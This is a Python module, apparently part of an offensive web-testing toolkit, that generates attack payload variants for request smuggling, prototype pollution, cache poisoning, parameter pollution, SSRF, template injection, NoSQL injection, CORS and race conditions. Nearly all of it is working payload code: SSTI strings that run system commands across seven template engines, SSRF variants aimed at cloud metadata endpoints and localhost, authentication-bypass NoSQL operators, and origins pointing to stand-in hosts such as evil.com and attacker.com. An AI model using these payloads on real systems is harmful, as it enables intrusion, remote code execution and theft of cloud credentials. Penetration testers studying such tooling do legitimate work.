"""
AIPTX Beast Mode - Specialized Mutations
========================================

Advanced mutation techniques for specialized vulnerability types:
- HTTP Request Smuggling
- Prototype Pollution
- Cache Poisoning
- HTTP Parameter Pollution
- SSRF
- SSTI
- NoSQL Injection
- CORS Misconfiguration
- Race Condition helpers
"""

from __future__ import annotations

import json
import logging
import re
import urllib.parse
from dataclasses import dataclass, field
from typing import Callable, Optional

logger = logging.getLogger(__name__)


@dataclass
class Mutation:
    """A generic mutation technique."""
    name: str
    description: str
    transform: Callable[[str], str]
    tags: list[str] = field(default_factory=list)


class HTTPSmugglingMutator:
    """
    HTTP Request Smuggling payload mutator.

    Generates CL.TE, TE.CL, and TE.TE variants for request smuggling attacks.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """
        Generate all smuggling mutation variants.

        Args:
            payload: Original request or payload body

        Returns:
            List of (mutated_payload, mutation_name) tuples
        """
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated and mutated != payload:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # CL.TE attacks (Content-Length takes priority on front-end)
            Mutation(
                name="cl_te_basic",
                description="Basic CL.TE smuggling",
                transform=self._cl_te_basic,
                tags=["cl_te", "smuggling"],
            ),
            Mutation(
                name="cl_te_chunked",
                description="CL.TE with chunked encoding",
                transform=self._cl_te_chunked,
                tags=["cl_te", "chunked"],
            ),

            # TE.CL attacks (Transfer-Encoding takes priority on front-end)
            Mutation(
                name="te_cl_basic",
                description="Basic TE.CL smuggling",
                transform=self._te_cl_basic,
                tags=["te_cl", "smuggling"],
            ),
            Mutation(
                name="te_cl_with_body",
                description="TE.CL with smuggled body",
                transform=self._te_cl_with_body,
                tags=["te_cl", "smuggling"],
            ),

            # TE.TE obfuscation (confuse parsing of Transfer-Encoding)
            Mutation(
                name="te_te_tab",
                description="TE obfuscation with tab",
                transform=lambda p: f"Transfer-Encoding:\tchunked\r\n{p}",
                tags=["te_te", "obfuscation"],
            ),
            Mutation(
                name="te_te_space",
                description="TE obfuscation with trailing space",
                transform=lambda p: f"Transfer-Encoding: chunked \r\n{p}",
                tags=["te_te", "obfuscation"],
            ),
            Mutation(
                name="te_te_newline",
                description="TE obfuscation with newline in header",
                transform=lambda p: f"Transfer-Encoding: chunked\r\nX-Ignore: x\r\n{p}",
                tags=["te_te", "obfuscation"],
            ),
            Mutation(
                name="te_te_case_variation",
                description="TE with case variation",
                transform=lambda p: f"TrAnSfEr-EnCoDiNg: chunked\r\n{p}",
                tags=["te_te", "obfuscation"],
            ),
            Mutation(
                name="te_te_double_header",
                description="TE with duplicate header",
                transform=lambda p: f"Transfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\n{p}",
                tags=["te_te", "obfuscation"],
            ),

            # H2C smuggling (HTTP/2 cleartext)
            Mutation(
                name="h2c_upgrade",
                description="H2C upgrade smuggling",
                transform=self._h2c_upgrade,
                tags=["h2c", "upgrade"],
            ),
        ]

    def _cl_te_basic(self, payload: str) -> str:
        """Basic CL.TE smuggling payload."""
        smuggled = f"GET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n"
        body = f"0\r\n\r\n{smuggled}"
        return f"Content-Length: {len(payload)}\r\nTransfer-Encoding: chunked\r\n\r\n{body}"

    def _cl_te_chunked(self, payload: str) -> str:
        """CL.TE with properly chunked encoding."""
        chunk_size = hex(len(payload))[2:]
        return f"Content-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n{payload}"

    def _te_cl_basic(self, payload: str) -> str:
        """Basic TE.CL smuggling payload."""
        return f"Transfer-Encoding: chunked\r\nContent-Length: 4\r\n\r\n{payload}"

    def _te_cl_with_body(self, payload: str) -> str:
        """TE.CL with smuggled request in body."""
        chunk = f"{hex(len(payload))[2:]}\r\n{payload}\r\n0\r\n\r\n"
        return f"Transfer-Encoding: chunked\r\nContent-Length: {len(chunk) + 50}\r\n\r\n{chunk}"

    def _h2c_upgrade(self, payload: str) -> str:
        """HTTP/2 cleartext upgrade smuggling."""
        return f"Connection: Upgrade, HTTP2-Settings\r\nUpgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n\r\n{payload}"


class PrototypePollutionMutator:
    """
    Prototype Pollution payload mutator.

    Generates __proto__, constructor.prototype, and other pollution vectors.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all prototype pollution variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated and mutated != payload:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # __proto__ variants
            Mutation(
                name="proto_basic",
                description="Basic __proto__ pollution",
                transform=lambda p: f'{{"__proto__": {p}}}',
                tags=["proto", "basic"],
            ),
            Mutation(
                name="proto_nested",
                description="Nested __proto__ pollution",
                transform=lambda p: f'{{"__proto__": {{"__proto__": {p}}}}}',
                tags=["proto", "nested"],
            ),
            Mutation(
                name="proto_array",
                description="__proto__ via array index",
                transform=lambda p: f'[{{"__proto__": {p}}}]',
                tags=["proto", "array"],
            ),

            # constructor.prototype variants
            Mutation(
                name="constructor_prototype",
                description="Constructor prototype pollution",
                transform=lambda p: f'{{"constructor": {{"prototype": {p}}}}}',
                tags=["constructor", "prototype"],
            ),
            Mutation(
                name="constructor_proto",
                description="Constructor with __proto__",
                transform=lambda p: f'{{"constructor": {{"prototype": {{"__proto__": {p}}}}}}}',
                tags=["constructor", "proto"],
            ),

            # URL parameter pollution
            Mutation(
                name="query_proto",
                description="Query parameter __proto__ pollution",
                transform=lambda p: f"__proto__[polluted]={urllib.parse.quote(p)}",
                tags=["query", "proto"],
            ),
            Mutation(
                name="query_constructor",
                description="Query parameter constructor pollution",
                transform=lambda p: f"constructor[prototype][polluted]={urllib.parse.quote(p)}",
                tags=["query", "constructor"],
            ),

            # Object.assign / merge patterns
            Mutation(
                name="merge_proto",
                description="Object merge __proto__ pollution",
                transform=lambda p: f'{{"a": 1, "__proto__": {p}}}',
                tags=["merge", "proto"],
            ),

            # Encoded variants
            Mutation(
                name="proto_unicode",
                description="Unicode encoded __proto__",
                transform=lambda p: f'{{"\u005f\u005fproto\u005f\u005f": {p}}}',
                tags=["unicode", "proto"],
            ),
            Mutation(
                name="proto_hex",
                description="Hex encoded __proto__",
                transform=lambda p: f'{{"\\x5f\\x5fproto\\x5f\\x5f": {p}}}',
                tags=["hex", "proto"],
            ),
        ]


class CachePoisonMutator:
    """
    Web Cache Poisoning/Deception payload mutator.

    Generates variants for cache key manipulation and poisoning attacks.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all cache poisoning variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # Unkeyed header poisoning
            Mutation(
                name="x_forwarded_host",
                description="X-Forwarded-Host header injection",
                transform=lambda p: f"X-Forwarded-Host: {p}",
                tags=["header", "forwarded"],
            ),
            Mutation(
                name="x_host",
                description="X-Host header injection",
                transform=lambda p: f"X-Host: {p}",
                tags=["header", "host"],
            ),
            Mutation(
                name="x_original_url",
                description="X-Original-URL header injection",
                transform=lambda p: f"X-Original-URL: {p}",
                tags=["header", "original_url"],
            ),
            Mutation(
                name="x_rewrite_url",
                description="X-Rewrite-URL header injection",
                transform=lambda p: f"X-Rewrite-URL: {p}",
                tags=["header", "rewrite"],
            ),

            # Cache buster manipulation
            Mutation(
                name="cache_buster_param",
                description="Add cache buster parameter",
                transform=lambda p: f"{p}?cb=12345",
                tags=["cache_buster", "param"],
            ),
            Mutation(
                name="utm_param",
                description="Add UTM tracking parameter (often unkeyed)",
                transform=lambda p: f"{p}?utm_source=cache_test",
                tags=["cache_buster", "utm"],
            ),

            # Path normalization tricks
            Mutation(
                name="path_static_extension",
                description="Add static file extension",
                transform=lambda p: f"{p}.css",
                tags=["path", "extension"],
            ),
            Mutation(
                name="path_with_slash",
                description="Add trailing slash",
                transform=lambda p: f"{p}/",
                tags=["path", "slash"],
            ),

            # Fat GET
            Mutation(
                name="fat_get",
                description="Fat GET request with body",
                transform=lambda p: f"GET {p}\r\nContent-Length: 10\r\n\r\nbodydata",
                tags=["fat_get", "body"],
            ),
        ]


class HPPMutator:
    """
    HTTP Parameter Pollution payload mutator.

    Generates duplicate parameter variants for HPP attacks.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all HPP variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # Duplicate parameters
            Mutation(
                name="hpp_duplicate_first",
                description="Duplicate parameter (payload first)",
                transform=lambda p: f"param={p}&param=safe",
                tags=["hpp", "duplicate"],
            ),
            Mutation(
                name="hpp_duplicate_last",
                description="Duplicate parameter (payload last)",
                transform=lambda p: f"param=safe&param={p}",
                tags=["hpp", "duplicate"],
            ),

            # Array notation
            Mutation(
                name="hpp_array_bracket",
                description="Array bracket notation",
                transform=lambda p: f"param[]={p}&param[]=safe",
                tags=["hpp", "array"],
            ),
            Mutation(
                name="hpp_array_index",
                description="Array index notation",
                transform=lambda p: f"param[0]={p}&param[1]=safe",
                tags=["hpp", "array"],
            ),

            # Encoding tricks
            Mutation(
                name="hpp_semicolon",
                description="Semicolon as separator (ASP/IIS)",
                transform=lambda p: f"param=safe;param={p}",
                tags=["hpp", "semicolon"],
            ),
            Mutation(
                name="hpp_comma",
                description="Comma-separated values",
                transform=lambda p: f"param=safe,{p}",
                tags=["hpp", "comma"],
            ),

            # URL encoding tricks
            Mutation(
                name="hpp_encoded_ampersand",
                description="URL encoded ampersand",
                transform=lambda p: f"param=safe%26param={urllib.parse.quote(p)}",
                tags=["hpp", "encoded"],
            ),
        ]


class SSRFMutator:
    """
    SSRF payload mutator.

    Generates URL bypass variants for SSRF attacks.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all SSRF variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated and mutated != payload:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # IP address variations
            Mutation(
                name="localhost_variants",
                description="Localhost alternative spellings",
                transform=lambda p: p.replace("127.0.0.1", "localhost"),
                tags=["localhost", "bypass"],
            ),
            Mutation(
                name="ip_decimal",
                description="Decimal IP format",
                transform=lambda p: p.replace("127.0.0.1", "2130706433"),
                tags=["ip", "decimal"],
            ),
            Mutation(
                name="ip_hex",
                description="Hexadecimal IP format",
                transform=lambda p: p.replace("127.0.0.1", "0x7f000001"),
                tags=["ip", "hex"],
            ),
            Mutation(
                name="ip_octal",
                description="Octal IP format",
                transform=lambda p: p.replace("127.0.0.1", "0177.0.0.01"),
                tags=["ip", "octal"],
            ),
            Mutation(
                name="ip_ipv6",
                description="IPv6 format",
                transform=lambda p: p.replace("127.0.0.1", "[::1]"),
                tags=["ip", "ipv6"],
            ),
            Mutation(
                name="ip_short",
                description="Short IP format",
                transform=lambda p: p.replace("127.0.0.1", "127.1"),
                tags=["ip", "short"],
            ),

            # Protocol variations
            Mutation(
                name="protocol_gopher",
                description="Gopher protocol",
                transform=lambda p: p.replace("http://", "gopher://"),
                tags=["protocol", "gopher"],
            ),
            Mutation(
                name="protocol_dict",
                description="Dict protocol",
                transform=lambda p: p.replace("http://", "dict://"),
                tags=["protocol", "dict"],
            ),
            Mutation(
                name="protocol_file",
                description="File protocol",
                transform=lambda p: p.replace("http://", "file://"),
                tags=["protocol", "file"],
            ),

            # DNS rebinding
            Mutation(
                name="dns_rebind_localtest",
                description="DNS rebinding via localtest.me",
                transform=lambda p: p.replace("127.0.0.1", "127.0.0.1.nip.io"),
                tags=["dns", "rebinding"],
            ),

            # URL tricks
            Mutation(
                name="url_authority",
                description="URL authority bypass",
                transform=lambda p: f"http://evil.com@{p.replace('http://', '')}",
                tags=["url", "authority"],
            ),
            Mutation(
                name="url_fragment",
                description="URL fragment bypass",
                transform=lambda p: f"{p}#@evil.com",
                tags=["url", "fragment"],
            ),

            # Cloud metadata
            Mutation(
                name="aws_metadata",
                description="AWS metadata endpoint",
                transform=lambda p: "http://169.254.169.254/latest/meta-data/",
                tags=["cloud", "aws"],
            ),
            Mutation(
                name="gcp_metadata",
                description="GCP metadata endpoint",
                transform=lambda p: "http://metadata.google.internal/computeMetadata/v1/",
                tags=["cloud", "gcp"],
            ),
        ]


class SSTIMutator:
    """
    Server-Side Template Injection payload mutator.

    Generates template engine-specific payloads for various template engines.
    """

    def __init__(self, engine: str = "auto"):
        """
        Initialize SSTI mutator.

        Args:
            engine: Template engine (jinja2, twig, freemarker, velocity, mako, smarty, erb, auto)
        """
        self.engine = engine.lower()
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all SSTI variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # Jinja2 / Flask
            Mutation(
                name="jinja2_basic",
                description="Jinja2 basic expression",
                transform=lambda p: f"{{{{{p}}}}}",
                tags=["jinja2", "flask"],
            ),
            Mutation(
                name="jinja2_config",
                description="Jinja2 config access",
                transform=lambda p: "{{config.items()}}",
                tags=["jinja2", "config"],
            ),
            Mutation(
                name="jinja2_mro",
                description="Jinja2 MRO bypass",
                transform=lambda p: "{{''.__class__.__mro__[1].__subclasses__()}}",
                tags=["jinja2", "rce"],
            ),

            # Twig
            Mutation(
                name="twig_basic",
                description="Twig basic expression",
                transform=lambda p: f"{{{{{p}}}}}",
                tags=["twig"],
            ),
            Mutation(
                name="twig_filter",
                description="Twig filter bypass",
                transform=lambda p: "{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}",
                tags=["twig", "rce"],
            ),

            # FreeMarker
            Mutation(
                name="freemarker_basic",
                description="FreeMarker basic expression",
                transform=lambda p: f"${{{p}}}",
                tags=["freemarker"],
            ),
            Mutation(
                name="freemarker_exec",
                description="FreeMarker exec",
                transform=lambda p: "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
                tags=["freemarker", "rce"],
            ),

            # Velocity
            Mutation(
                name="velocity_basic",
                description="Velocity basic expression",
                transform=lambda p: f"${{{p}}}",
                tags=["velocity"],
            ),
            Mutation(
                name="velocity_exec",
                description="Velocity exec",
                transform=lambda p: "#set($e=\"\")#foreach($c in [1])#set($e=$e.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"id\"))#end",
                tags=["velocity", "rce"],
            ),

            # Smarty
            Mutation(
                name="smarty_basic",
                description="Smarty basic expression",
                transform=lambda p: f"{{${p}}}",
                tags=["smarty"],
            ),
            Mutation(
                name="smarty_php",
                description="Smarty PHP tag",
                transform=lambda p: "{php}echo `id`;{/php}",
                tags=["smarty", "rce"],
            ),

            # Mako
            Mutation(
                name="mako_basic",
                description="Mako basic expression",
                transform=lambda p: f"${{{p}}}",
                tags=["mako"],
            ),
            Mutation(
                name="mako_import",
                description="Mako import bypass",
                transform=lambda p: "<%\nimport os\nx=os.popen('id').read()\n%>${x}",
                tags=["mako", "rce"],
            ),

            # ERB (Ruby)
            Mutation(
                name="erb_basic",
                description="ERB basic expression",
                transform=lambda p: f"<%= {p} %>",
                tags=["erb", "ruby"],
            ),
            Mutation(
                name="erb_exec",
                description="ERB exec",
                transform=lambda p: "<%= `id` %>",
                tags=["erb", "rce"],
            ),
        ]


class NoSQLMutator:
    """
    NoSQL Injection payload mutator.

    Generates MongoDB, CouchDB, and other NoSQL injection variants.
    """

    def __init__(self, database: str = "mongodb"):
        """
        Initialize NoSQL mutator.

        Args:
            database: NoSQL database type (mongodb, couchdb, redis)
        """
        self.database = database.lower()
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all NoSQL variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # MongoDB operators
            Mutation(
                name="mongo_ne",
                description="MongoDB $ne operator",
                transform=lambda p: '{"$ne": null}',
                tags=["mongodb", "operator"],
            ),
            Mutation(
                name="mongo_gt",
                description="MongoDB $gt operator",
                transform=lambda p: '{"$gt": ""}',
                tags=["mongodb", "operator"],
            ),
            Mutation(
                name="mongo_regex",
                description="MongoDB $regex operator",
                transform=lambda p: f'{{"$regex": "{p}"}}',
                tags=["mongodb", "regex"],
            ),
            Mutation(
                name="mongo_where",
                description="MongoDB $where operator",
                transform=lambda p: f'{{"$where": "{p}"}}',
                tags=["mongodb", "where"],
            ),

            # JavaScript injection
            Mutation(
                name="mongo_js_true",
                description="MongoDB JavaScript always true",
                transform=lambda p: '{"$where": "return true"}',
                tags=["mongodb", "js"],
            ),
            Mutation(
                name="mongo_js_sleep",
                description="MongoDB JavaScript sleep",
                transform=lambda p: '{"$where": "sleep(5000)"}',
                tags=["mongodb", "js", "time"],
            ),

            # Array injection
            Mutation(
                name="mongo_in",
                description="MongoDB $in operator",
                transform=lambda p: f'{{"$in": [{p}]}}',
                tags=["mongodb", "array"],
            ),

            # Query string pollution
            Mutation(
                name="query_ne",
                description="Query string $ne injection",
                transform=lambda p: f"username[$ne]={p}&password[$ne]=x",
                tags=["query", "operator"],
            ),
            Mutation(
                name="query_gt",
                description="Query string $gt injection",
                transform=lambda p: f"username[$gt]=&password[$gt]=",
                tags=["query", "operator"],
            ),
            Mutation(
                name="query_regex",
                description="Query string $regex injection",
                transform=lambda p: f"username[$regex]={p}&password[$regex]=.*",
                tags=["query", "regex"],
            ),
        ]


class CORSMutator:
    """
    CORS Misconfiguration payload mutator.

    Generates Origin header variants for CORS bypass testing.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all CORS variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # Null origin
            Mutation(
                name="origin_null",
                description="Null origin bypass",
                transform=lambda p: "Origin: null",
                tags=["origin", "null"],
            ),

            # Subdomain tricks
            Mutation(
                name="origin_subdomain",
                description="Subdomain prefix bypass",
                transform=lambda p: f"Origin: https://{p}.attacker.com",
                tags=["origin", "subdomain"],
            ),
            Mutation(
                name="origin_suffix",
                description="Domain suffix bypass",
                transform=lambda p: f"Origin: https://attacker.com{p}",
                tags=["origin", "suffix"],
            ),

            # Protocol variations
            Mutation(
                name="origin_http",
                description="HTTP protocol downgrade",
                transform=lambda p: f"Origin: http://{p}",
                tags=["origin", "http"],
            ),

            # Special characters
            Mutation(
                name="origin_underscore",
                description="Underscore in origin",
                transform=lambda p: f"Origin: https://{p.replace('.', '_')}.com",
                tags=["origin", "underscore"],
            ),

            # Reflected origin test
            Mutation(
                name="origin_reflect",
                description="Test for reflected origin",
                transform=lambda p: f"Origin: https://{p}",
                tags=["origin", "reflect"],
            ),
        ]


class RaceConditionMutator:
    """
    Race Condition payload mutator.

    Generates timing and concurrency attack payloads.
    """

    def __init__(self):
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """Generate all race condition variants."""
        results = []
        for mutation in self._mutations:
            try:
                mutated = mutation.transform(payload)
                if mutated:
                    results.append((mutated, mutation.name))
            except Exception as e:
                logger.debug(f"Mutation {mutation.name} failed: {e}")
        return results

    def mutate_single(self, payload: str, mutation_name: str) -> Optional[str]:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload)
        return None

    def _build_mutations(self) -> list[Mutation]:
        return [
            # Request timing markers
            Mutation(
                name="race_marker_start",
                description="Add race timing marker",
                transform=lambda p: f"X-Race-ID: {id(p)}\r\n{p}",
                tags=["race", "marker"],
            ),

            # Connection reuse hints
            Mutation(
                name="race_connection_keep",
                description="Connection keep-alive for race",
                transform=lambda p: f"Connection: keep-alive\r\n{p}",
                tags=["race", "connection"],
            ),

            # HTTP/2 single packet
            Mutation(
                name="race_h2_multiplexing",
                description="HTTP/2 multiplexing hint",
                transform=lambda p: f"X-Concurrent: true\r\n{p}",
                tags=["race", "h2"],
            ),
        ]


# Convenience functions
def mutate_http_smuggling(payload: str) -> list[tuple[str, str]]:
    """Quick function to mutate HTTP smuggling payloads."""
    return HTTPSmugglingMutator().mutate(payload)


def mutate_prototype_pollution(payload: str) -> list[tuple[str, str]]:
    """Quick function to mutate prototype pollution payloads."""
    return PrototypePollutionMutator().mutate(payload)


def mutate_ssrf(payload: str) -> list[tuple[str, str]]:
    """Quick function to mutate SSRF payloads."""
    return SSRFMutator().mutate(payload)


def mutate_ssti(payload: str, engine: str = "auto") -> list[tuple[str, str]]:
    """Quick function to mutate SSTI payloads."""
    return SSTIMutator(engine).mutate(payload)


def mutate_nosql(payload: str, database: str = "mongodb") -> list[tuple[str, str]]:
    """Quick function to mutate NoSQL payloads."""
    return NoSQLMutator(database).mutate(payload)
